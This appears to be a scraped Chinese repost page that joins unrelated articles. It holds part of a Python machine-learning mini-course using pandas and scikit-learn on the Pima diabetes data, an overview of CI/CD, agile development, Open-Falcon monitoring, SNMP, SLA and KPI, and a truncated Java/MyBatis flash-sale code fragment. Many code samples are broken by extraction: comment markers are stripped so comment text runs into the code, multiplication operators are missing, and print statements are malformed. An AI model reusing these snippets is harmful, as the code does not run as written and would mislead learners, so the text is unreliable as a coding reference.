练习使用NumPy数组。 练习在Matplotlib中创建简单图。 练习使用Pandas Series和DataFrames。 例如,以下是创建Pandas DataFrame的简单示例。 1 2 3 4 5 6 7 8 dataframe import numpy import pandas myarray = numpy.array([[1, 2, 3], [4, 5, 6]]) rownames = ['a', 'b'] colnames = ['one', 'two', 'three'] mydataframe = pandas.DataFrame(myarray, index=rownames, columns=colnames) print(mydataframe) 第3课:从CSV加载数据 机器学习算法需要数据。您可以从CSV文件加载自己的数据,但是当您开始使用Python进行机器学习时,应该在标准机器学习数据集上进行练习。 今天课程的任务是让您轻松地将数据加载到Python中并查找和加载标准的机器学习数据集。 您可以在UCI机器学习存储库上下载和练习许多CSV格式的出色标准机器学习数据集。 练习使用标准库中的CSV.reader()将CSV文件加载到Python 中。 练习使用NumPy和numpy.loadtxt()函数加载CSV文件。 练习使用Pandas和pandas.read_csv()函数加载CSV文件。 为了让您入门,下面是一个片段,该片段将直接从UCI机器学习存储库中使用Pandas来加载Pima Indians糖尿病数据集。 1 2 3 4 5 6 Load CSV using Pandas from URL import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) print(data.shape) 到现在为止做得很好!等一下 到目前为止有什么问题吗?在评论中提问。 第4课:使用描述性统计数据理解数据 将数据加载到Python之后,您需要能够理解它。 您越了解数据,可以构建的模型就越精确。了解数据的第一步是使用描述性统计数据。 今天,您的课程是学习如何使用描述性统计信息来理解您的数据。我建议使用Pandas DataFrame上提供的帮助程序功能。 使用head()函数了解您的数据以查看前几行。 使用shape属性查看数据的维度。 使用dtypes属性查看每个属性的数据类型。 使用describe()函数查看数据的分布。 使用corr()函数计算变量之间的成对相关性。 以下示例加载了皮马印第安人糖尿病发病数据集,并总结了每个属性的分布。 1 2 3 4 5 6 7 Statistical Summary import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) description = data.describe() print(description) 试试看! 第5课:通过可视化了解数据 从昨天的课程继续,您必须花一些时间更好地了解您的数据。 增进对数据理解的第二种方法是使用数据可视化技术(例如,绘图)。 今天,您的课程是学习如何在Python中使用绘图来单独理解属性及其相互作用。再次,我建议使用Pandas DataFrame上提供的帮助程序功能。 使用hist()函数创建每个属性的直方图。 使用plot(kind ='box')函数创建每个属性的箱须图。 使用pandas.scatter_matrix()函数创建所有属性的成对散点图。 例如,下面的代码片段将加载糖尿病数据集并创建数据集的散点图矩阵。 1 2 3 4 5 6 7 8 9 Scatter Plot Matrix import matplotlib.pyplot as plt import pandas from pandas.plotting import scatter_matrix url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) scatter_matrix(data) plt.show() 样本散点图矩阵 第6课:通过预处理数据准备建模 您的原始数据可能未设置为最佳建模形式。 有时您需要对数据进行预处理,以便最好地将问题的固有结构呈现给建模算法。在今天的课程中,您将使用scikit-learn提供的预处理功能。 scikit-learn库提供了两个用于转换数据的标准习语。每种变换在不同的情况下都非常有用:拟合和多重变换以及组合的拟合与变换。 您可以使用多种技术来准备数据以进行建模。例如,尝试以下一些方法 使用比例和中心选项将数值数据标准化(例如,平均值为0,标准偏差为1)。 使用范围选项将数值数据标准化(例如,范围为0-1)。 探索更高级的功能工程,例如Binarizing。 例如,下面的代码段加载了Pima Indians糖尿病发病数据集,计算了标准化数据所需的参数,然后创建了输入数据的标准化副本。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Standardize data (0 mean, 1 stdev) from sklearn.preprocessing import StandardScaler import pandas import numpy url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = pandas.read_csv(url, names=names) array = dataframe.values separate array into input and output components X = array[:,0:8] Y = array[:,8] scaler = StandardScaler().fit(X) rescaledX = scaler.transform(X) summarize transformed data numpy.set_printoptions(precision=3) print(rescaledX[0:5,:]) 第7课:使用重采样方法进行算法评估 用于训练机器学习算法的数据集称为训练数据集。用于训练算法的数据集不能用于为您提供有关新数据的模型准确性的可靠估计。这是一个大问题,因为创建模型的整个思路是对新数据进行预测。 您可以使用称为重采样方法的统计方法将训练数据集划分为子集,一些方法用于训练模型,而另一些则被保留,并用于估计看不见的数据的模型准确性。 今天课程的目标是练习使用scikit-learn中可用的不同重采样方法,例如: 将数据集分为训练集和测试集。 使用k倍交叉验证来估计算法的准确性。 使用留一法交叉验证来估计算法的准确性。 下面的代码段使用scikit-learn通过10倍交叉验证来评估Pima Indians糖尿病发作的Logistic回归算法的准确性。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Evaluate using Cross Validation from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') results = cross_val_score(model, X, Y, cv=kfold) print("Accuracy: %.3f%% (%.3f%%)") % (results.mean()100.0, results.std()100.0) 您获得了什么精度?在评论中让我知道。 您是否意识到这是中间点?做得好! 第8课:算法评估指标 您可以使用许多不同的指标来评估数据集上机器学习算法的技能。 您可以通过cross_validation.cross_val_score()函数在scikit-learn中指定用于测试工具的度量,默认值可用于回归和分类问题。今天课程的目标是练习使用scikit-learn软件包中可用的不同算法性能指标。 在分类问题上练习使用“准确性”和“ LogLoss”度量。 练习生成混淆矩阵和分类报告。 在回归问题上练习使用RMSE和RSquared指标。 下面的代码段演示了根据Pima Indians糖尿病发病数据计算LogLoss指标。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Cross Validation Classification LogLoss from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') scoring = 'neg_log_loss' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print("Logloss: %.3f (%.3f)") % (results.mean(), results.std()) 您得到了什么日志损失?在评论中让我知道。 第9课:抽查算法 您可能无法事先知道哪种算法对您的数据效果最好。 您必须使用反复试验的过程来发现它。我称之为现场检查算法。scikit-learn库提供了许多机器学习算法和工具的接口,以比较这些算法的估计准确性。 在本课程中,您必须练习抽查不同的机器学习算法。 对数据集进行抽查线性算法(例如线性回归,逻辑回归和线性判别分析)。 抽查数据集上的一些非线性算法(例如KNN,SVM和CART)。 抽查数据集上一些复杂的集成算法(例如随机森林和随机梯度增强)。 例如,下面的代码片段对Boston House Price数据集上的K最近邻居算法进行了抽查。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 KNN Regression from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.neighbors import KNeighborsRegressor url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/housing.data" names = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV'] dataframe = read_csv(url, delim_whitespace=True, names=names) array = dataframe.values X = array[:,0:13] Y = array[:,13] kfold = KFold(n_splits=10, random_state=7) model = KNeighborsRegressor() scoring = 'neg_mean_squared_error' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print(results.mean()) 您得到的平方误差是什么意思?在评论中让我知道。 第10课:模型比较和选择 既然您知道了如何在数据集中检查机器学习算法,那么您需要知道如何比较不同算法的估计性能并选择最佳模型。 在今天的课程中,您将练习比较Python和scikit-learn中的机器学习算法的准确性。 在数据集上相互比较线性算法。 在数据集上相互比较非线性算法。 相互比较同一算法的不同配置。 创建比较算法的结果图。 下面的示例在皮马印第安人发病的糖尿病数据集中将Logistic回归和线性判别分析进行了比较。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Compare Algorithms from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression from sklearn.discriminant_analysis import LinearDiscriminantAnalysis load dataset url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] prepare models models = [] models.append(('LR', LogisticRegression(solver='liblinear'))) models.append(('LDA', LinearDiscriminantAnalysis())) evaluate each model in turn results = [] names = [] scoring = 'accuracy' for name, model in models: kfold = KFold(n_splits=10, random_state=7) cv_results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) results.append(cv_results) names.append(name) msg = "%s: %f (%f)" % (name, cv_results.mean(), cv_results.std()) print(msg) 哪种算法效果更好?你能做得更好吗?在评论中让我知道。 第11课:通过算法调整提高准确性 一旦找到一种或两种在数据集上表现良好的算法,您可能希望提高这些模型的性能。 提高算法性能的一种方法是将其参数调整为特定的数据集。 scikit-learn库提供了两种方法来搜索机器学习算法的参数组合。在今天的课程中,您的目标是练习每个。 使用您指定的网格搜索来调整算法的参数。 使用随机搜索调整算法的参数。 下面使用的代码段是一个示例,该示例使用网格搜索在Pima Indians糖尿病发病数据集上的Ridge回归算法。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Grid Search for Algorithm Tuning from pandas import read_csv import numpy from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] alphas = numpy.array([1,0.1,0.01,0.001,0.0001,0]) param_grid = dict(alpha=alphas) model = Ridge() grid = GridSearchCV(estimator=model, param_grid=param_grid, cv=3) grid.fit(X, Y) print(grid.best_score_) print(grid.best_estimator_.alpha) 哪些参数取得最佳效果?你能做得更好吗?在评论中让我知道。 第12课:利用集合预测提高准确性 您可以提高模型性能的另一种方法是组合来自多个模型的预测。 一些模型提供了内置的此功能,例如用于装袋的随机森林和用于增强的随机梯度增强。可以使用另一种称为投票的合奏将来自多个不同模型的预测组合在一起。 在今天的课程中,您将练习使用合奏方法。 使用随机森林和多余树木算法练习装袋。 使用梯度增强机和AdaBoost算法练习增强合奏。 通过将来自多个模型的预测组合在一起来练习投票合奏。 下面的代码段演示了如何在Pima Indians糖尿病发病数据集上使用随机森林算法(袋装决策树集合)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Random Forest Classification from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestClassifier url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] num_trees = 100 max_features = 3 kfold = KFold(n_splits=10, random_state=7) model = RandomForestClassifier(n_estimators=num_trees, max_features=max_features) results = cross_val_score(model, X, Y, cv=kfold) print(results.mean()) 你能设计出更好的合奏吗?在评论中让我知道。 第13课:完成并保存模型 找到有关机器学习问题的良好模型后,您需要完成该模型。 在今天的课程中,您将练习与完成模型有关的任务。 练习使用模型对新数据(在训练和测试过程中看不到的数据)进行预测。 练习将经过训练的模型保存到文件中,然后再次加载。 例如,下面的代码片段显示了如何创建Logistic回归模型,将其保存到文件中,之后再加载它以及对看不见的数据进行预测。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Save Model Using Pickle from pandas import read_csv from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression import pickle url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] test_size = 0.33 seed = 7 X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) Fit the model on 33% model = LogisticRegression(solver='liblinear') model.fit(X_train, Y_train) save the model to disk filename = 'finalized_model.sav' pickle.dump(model, open(filename, 'wb')) some time later... load the model from disk loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.score(X_test, Y_test) print(result) 第14课:Hello World端到端项目 您现在知道如何完成预测建模机器学习问题的每个任务。 在今天的课程中,您需要练习将各个部分组合在一起,并通过端到端的标准机器学习数据集进行操作。 端到端遍历虹膜数据集(机器学习的世界) 这包括以下步骤: 使用描述性统计数据和可视化了解您的数据。 预处理数据以最好地揭示问题的结构。 使用您自己的测试工具抽查多种算法。 使用算法参数调整来改善结果。 使用集成方法改善结果。 最终确定模型以备将来使用。 慢慢进行,并记录结果。 您使用什么型号?您得到了什么结果?在评论中让我知道。 结束! (看你走了多远) 你做到了。做得好! 花一点时间,回头看看你已经走了多远。 您最初对机器学习感兴趣,并强烈希望能够使用Python练习和应用机器学习。 您可能是第一次下载,安装并启动Python,并开始熟悉该语言的语法。 在许多课程中,您逐渐地,稳定地学习了预测建模机器学习项目的标准任务如何映射到Python平台上。 基于常见机器学习任务的配方,您使用Python端到端解决了第一个机器学习问题。 使用标准模板,您所收集的食谱和经验现在可以自行解决新的和不同的预测建模机器学习问题。 不要轻描淡写,您在短时间内就取得了长足的进步。 这只是您使用Python进行机器学习的起点。继续练习和发展自己的技能。 喜欢点下关注,你的关注是我写作的最大支持 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37337849/article/details/104016531。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 10:04:06
93
转载
转载文章
...,以便快速发现和定位错误 持续集成并不能消除错误,而是让它们非常容易发现和改正 优点 缩减开发的周期,快速迭代版本 (尽早的持续集成,尽早进入迭代之中,尽早的暴露出问题,尽早解决,尽量在规定的时间内完成任务)(四尽早一尽量) 自动化流水线操作带来的高效 (CI的精髓在于持续,持续意味着自动化) (自动化验证代码变更的过程,可以在软件开发的早期发现缺陷和与其他代码、组件的集成问题) 随时可部署 (高频率的集成可以尽可能地保证随时部署上线,缩短开发复杂软件的市场交付时间) 极大程度避免低级错误 (减少大量内容合并到主干分支的请看看,避免代码合并冲突和无法预料的行为) 低级错误:编译错误,安装问题,接口问题,性能问题等 难点 迁移遗留代码到现有CI系统,需要的投入通常爱预料之外 在文化和组织上如果没有采用敏捷原则或DecOps的工作方式,那么很可能没有持续不断的提交,那么CI的存在意义不大 随着业务增长、工具的更替、技术的演进。CI系统也必然随之改动,往往会导致阶段性的不稳定和人力物力的耗费 如果CI的基本设定不到位,开发流程将会增加特别的开销 注意点 CI流程的触发方式 跟踪触发式:在每次提交到源码版本管理系统时触发 计划任务:预配置好的计划 手动:无论是通过CI服务器的管理界面还是脚本,用户可以手工执行CI工作流 代码审核 可在持续集成服务器里使用代码分析工具(例如Sonar)来执行自动代码审查 自动代码审查通过后,可发起一个人工代码审查,揪出那些自动审查无法找出的问题,即验证业务需求,架构问题,代码是否可读,以及是否易于扩展。 可灵活配置代码审核策略,例如:如果某些人没有审查代码便阻止对主干分支的任何提交。 最常用的工具是Gerrit 持续交付 简述 持续交付简称CD或CDE,是一种能够使得软件在较短的循环中可靠的发布的软件工程方法 与持续集成相比,持续交付的重点在于 交付,其核心对象不在于代码,而在于可交付的产物。 由于持续集成仅仅针对于新旧代码的集成过程执行来了一定的测试,其变动到持续交付后还需要一些额外的流程 持续交付可以看作为是持续集成的下一步,它强调的是,不敢怎么更新,软件是随时随快可以交付的 有图可看出,持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实的运行环境的[类生产环境]中 目的 持续交付永爱确保让代码能够快速、安全的部署到产品环境中,它通过将每一次改动都会提交到一个模拟产品环境中,使用严格的自动化测试,确保业务应用和服务能符合预期 好处 持续交付和持续集成的好处非常相似: 快速发布。能够应对业务需求,并更快地实现软件价值 编码→测试→上线→交付的频繁迭代周期缩短,同时获得迅速反馈 高质量的软件发布标准。整个交付过程标准化、可重复、可靠 整个交付过程进度可视化,方便团队人员了解项目完成度 更先进的团队协作方式。从需求分析、产品的用户体验到交互、设计、开发、测试、运维等角色密切协作,相比于传统的瀑布式软件团队,更少浪费 持续部署 简述 持续部署 意味着:通过自动化部署的手段将软件功能频繁的进行交付 持续部署是持续交付的下一步,指的是代码通过审批以后,自动化部署到生产环境。 持续部署是持续交付的最高阶段,这意味着,所有通过了一系列的自动化测试的改动都将自动部署到生产环境。它也可以被称为“Continuous Release” 持续化部署的目标是:代码在任何时候都是可部署的,可以进入生产阶段。 持续部署的前提是能自动化完成测试、构建、部署等步骤 注:持续交付不等于持续集成 与持续交付以及持续集成相比,持续部署强调了通过 automated deployment 的手段,对新的软件功能进行集成 目标 持续部署的目标是:代码在任何时刻都是可部署的,可以进入生产阶段 有很多的业务场景里,一种业务需要等待另外的功能特征出现才能上线,这是的持续部署成为不可能。虽然使用功能切换能解决很多这样的情况,但并不是没每次都会这样。所以,持续部署是否适合你的公司是基于你们的业务需求——而不是技术限制 优点 持续部署主要的好处是:可以相对独立地部署新的功能,并能快速地收集真实用户的反馈 敏捷开发 简述 敏捷开发就是一种以人为核心、迭代循环渐进的开发方式。 在敏捷开发中,软件仙姑的构建被切分成多个子项目,各个子项目的成果都经过测试,具备集成和可运行的特征。 简单的说就是把一个大的项目分为多个相互联系,但也可以独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态 注意事项 敏捷开的就是一种面临迅速变化的需求快速开发的能力,要注意一下几点: 敏捷开发不仅仅是一个项目快速完成,而是对整个产品领域需求的高效管理 敏捷开发不仅仅是简单的快,而是短周期的不断改进、提高和调整 敏捷开发不仅仅是一个版本只做几个功能,而是突出重点、果断放弃当前的非重要点 敏捷开发不仅仅是随时增加需求,而是每个迭代周期对需求的重新审核和排序 如何进行敏捷开发 1、组织建设 也就是团队建设,建立以产品经理为主导,包含产品、设计、前后台开发和测试的team,快速进行产品迭代开发;扁平化的团队管理,大家都有共同目标,更有成就感; 2、敏捷制度 要找准适合自身的敏捷开发方式,主要是制定一个完善的效率高的设计、开发、测试、上线流程,制定固定的迭代周期,让用户更有期待; 3、需求收集 这个任何方式下都需要有,需求一定要有交互稿,评审通过后,一定要确定功能需求列表、责任人、工作量、责任人等; 4、工具建设 是指能够快速完成某项事情的辅助工具,比如开发环境的一键安装,各种底层的日志、监控等平台,发布、打包工具等; 5、系统架构 略为超前架构设计:支持良好的扩容性和可维护性;组件化基础功能模块:代码耦合度低,模块间的依赖性小;插件化业务模块:降低营销活动与业务耦合度,自升级、自维护;客户端预埋逻辑;技术预研等等; 6、数据运营与灰度发布 点击率分析、用户路径分析、渠道选择、渠道升级控制等等 原则、特点和优势 敏捷开发技术的12个原则: 1.我们最优先要做的是通过尽早的、持续的交付有价值的软件来使客户满意。 2.即使到了开发的后期,也欢迎改变需求。 3.经常性地交付可以工作的软件,交付的间隔可以从几周到几个月,交付的时间间隔越短越好。 4.在整个项目开发期间,业务人员和开发人员必须天天都在一起工作。 5.围绕被激励起来的个人来构建项目。 6.在团队内部,最具有效果并且富有效率的传递信息的方法,就是面对面的交谈。 7.工作的软件是首要的进度度量标准。 8.敏捷过程提倡可持续的开发速度。 9.不断地关注优秀的技能和好的设计会增强敏捷能力。 10.简单使未完成的工作最大化。 11.最好的构架、需求和设计出自于自组织的团队。 12.每隔一定时间,团队会在如何才能更有效地工作方面进行反省,然后相应地对自己的行为进行调整。 特点: 个体和交互胜过过程和工具 可以工作的软件胜过面面俱到的文档 客户合作胜过合同谈判 响应变化胜过遵循计划 优势总结: 敏捷开发确实是项目进入实质开发迭代阶段,用户很快可以看到一个基线架构班的产品。敏捷注重市场快速反应能力,也即具体应对能力,客户前期满意度高 适用范围: 项目团队的人不能太多 项目经常发生变更 高风险的项目实施 开发人员可以参与决策 劣势总结: 敏捷开发注重人员的沟通 忽略文档的重要性 若项目人员流动太大,维护的时候很难 项目存在新手的比较多的时候,老员工会比较累 需要项目中存在经验较强的人,要不然大项目中容易遇到瓶颈问题 Open-falcon 简述 open-falcon是小米的监控系统,是一款企业级、高可用、可扩展的开源监控解决方案 公司用open-falcon来监控调度系统各种信息,便于监控各个节点的调度信息。在服务器安装了falcon-agent自动采集各项指标,主动上报 特点 强大灵活的数据采集 (自动发现,支持falcon-agent、snmp、支持用户主动push、用户自定义插件支持、opentsdb data model like(timestamp、endpoint、metric、key-value tags) ) 水平扩展能力 (支持每个周期上亿次的数据采集、告警判定、历史数据存储和查询 ) 高效率的告警策略管理 (高效的portal、支持策略模板、模板继承和覆盖、多种告警方式、支持callback调用 ) 人性化的告警设置 (最大告警次数、告警级别、告警恢复通知、告警暂停、不同时段不同阈值、支持维护周期 ) 高效率的graph组件 (单机支撑200万metric的上报、归档、存储(周期为1分钟) ) 高效的历史数据query组件 (采用rrdtool的数据归档策略,秒级返回上百个metric一年的历史数据 ) dashboard(面向用户的查询界面,可以看到push到graph中的所有数据,并查看数据发展趋势 ) (对维度的数据展示,用户自定义Screen) 高可用 (整个系统无核心单点,易运维,易部署,可水平扩展) 开发语言 (整个系统的后端,全部golang编写,portal和dashboard使用python编写。 ) 监控范围 Open-Falcon支持系统基础监控,第三方服务监控,JVM监控,业务应用监控 基础监控指的是Linux系统的指标监控,包括CPU、load、内存、磁盘、IO、网络等, 这些指标由Openfalcon的agent节点直接支持,无需插件 第三方服务监控指的是一些常见的服务监控,包括Mysql、Redis、Nginx等 OpenFalcon官网提供了很多第三方服务的监控插件,也可以自己实现插件,定义采集指标。而采集到的指标,也是通过插件先发送给agent,再由agent发送到OpenFalcon。 JVM监控主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 业务应用监控就是监控企业自主开发的应用服务 主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 数据流向 常见的OpenFalcon包含transfer、hbs、agent、judge、graph、API几个进程 以下是各个节点的数据流向图,主数据流向是agent -> transfer -> judge/graph: SNMP 简述 SNMP:简单网络管理协议,是TCP/IP协议簇 的一个应用层协议,由于SNMP的简单性,在Internet时代得到了蓬勃的发展 ,1992年发布了SNMPv2版本,以增强SNMPv1的安全性和功能。现在,已经有了SNMPv3版本(它对网络管理最大的贡献在于其安全性。增加了对认证和密文传输的支持 )。 一套完整的SNMP系统主要包括:管理信息库(MIB)、管理信息结构(SMI)和 SNMP报文协议 为什么要用SNMP 作为运维人员,我们很大一部分的工作就是为了保证我们的网络能够正常、稳定的运行。因此监控,控制,管理各种网络设备成了我们日常的工作 优点和好处 优点: 简单易懂,部署的开销成本也小 ,正因为它足够简单,所以被广泛的接受,事实上它已经成为了主要的网络管理标准。在一个网络设备上实现SNMP的管理比绝大部分其他管理方式都简单直接。 好处: 标准化的协议:SNMP是TCP/IP网络的标准网络管理协议。 广泛认可:所有主流供应商都支持SNMP。 可移植性:SNMP独立于操作系统和编程语言。 轻量级:SNMP增强对设备的管理能力的同时不会对设备的操作方式或性能产生冲击。 可扩展性:在所有SNMP管理的设备上都会支持相同的一套核心操作集。 广泛部署:SNMP是最流行的管理协议,最为受设备供应商关注,被广泛部署在各种各样的设备上。 MIB、SMI和SNMP报文 MIB 管理信息库MIB:任何一个被管理的资源都表示成一个对象,称为被管理的对象。 MIB是被管理对象的集合。 它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。 每个SNMP设备(Agent)都有自己的MIB。 MIB也可以看作是NMS(网管系统)和Agent之间的沟通桥梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间,他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识,它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型: 简单类型(simple): Integer:整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集 简单结构类型(simple-constructed ): SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素,每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素,每一个元素又是另一个ASN.1数据类型。 应用类型(application-wide): IpAddress: 以网络序表示的IP地址。因为它是一个32位的值,所以定义为4个字节; counter:计数器是一个非负的整数,它递增至最大值,而后回零。在SNMPv1中定义的计数器是32位的,即最大值为4,294,967,295; Gauge :也是一个非负整数,它可以递增或递减,但达到最大值时保持在最大值,最大值为232-1; time ticks:是一个时间单位,表示以0.01秒为单位计算的时间; SNMP报文 SNMP规定了5种协议数据单元PDU(也就是SNMP报文),用来在管理进程和代理之间的交换。 get-request操作:从代理进程处提取一个或多个参数值。 get-next-request操作:从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作:设置代理进程的一个或多个参数值。 get-response操作:返回的一个或多个参数值。这个操作是由代理进程发出的,它是前面三种操作的响应操作。 trap操作:代理进程主动发出的报文,通知管理进程有某些事情发生。 操作命令 SNMP协议之所以易于使用,这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是:Get、Set 和 Trap。 Get:管理站读取代理者处对象的值 Set:管理站设置代理者处对象的值 Trap: 代理者主动向管理站通报重要事件 SLA 简述 SLA(服务等级协议):是关于网络服务供应商和客户之间的一份合同,其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档,包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI(关键绩效指标):是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析,衡量流程绩效的一种目标式量化管理指标,是把企业的战略目标分解为可操作的工作目标的工具,是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任,并以此为基础,明确部门人员的业绩衡量指标,建立明确的切实可行的KPI体系,是做好绩效管理的关键。 KPI(关键绩效指标)是用于衡量工作人员工作绩效表现的量化指标,是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-19 16:00:05
46
转载
转载文章
...实体类vo 用于连表查询,得到商品名字 package com.example.seckill.vo;import com.example.seckill.pojo.SeckillGoods;import lombok.Data;@Datapublic class SeckillGoodsVo extends SeckillGoods {private String goodsName;} ②、在SexkillGoodsMapper.xml文件中定义sql <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mapper namespace="com.example.seckill.mapper.SeckillGoodsMapper"><select id="queryAll" resultType="com.example.seckill.vo.SeckillGoodsVo">select sg.,g.goods_namefrom t_seckill_goods sg,t_goods gwhere sg.goods_id = g.gid;</select></mapper> ③、在mapper中定义 package com.example.seckill.mapper;import com.example.seckill.pojo.SeckillGoods;import com.baomidou.mybatisplus.core.mapper.BaseMapper;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.stereotype.Repository;import java.util.List;/ <p> 秒杀商品信息表 Mapper 接口 </p> @author lv @since 2022-03-19/@Repositorypublic interface SeckillGoodsMapper extends BaseMapper<SeckillGoods> {List<SeckillGoodsVo> queryAll();} ④、service层与controller层 service: ISeckillGoodsService: package com.example.seckill.service;import com.example.seckill.pojo.SeckillGoods;import com.baomidou.mybatisplus.extension.service.IService;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import java.util.List;/ <p> 秒杀商品信息表 服务类 </p> @author lv @since 2022-03-19/public interface ISeckillGoodsService extends IService<SeckillGoods> {ResponseResult<List<SeckillGoodsVo>> queryAll();} SeckillGoodsServiceImpl: package com.example.seckill.service.impl;import com.example.seckill.pojo.SeckillGoods;import com.example.seckill.mapper.SeckillGoodsMapper;import com.example.seckill.service.ISeckillGoodsService;import 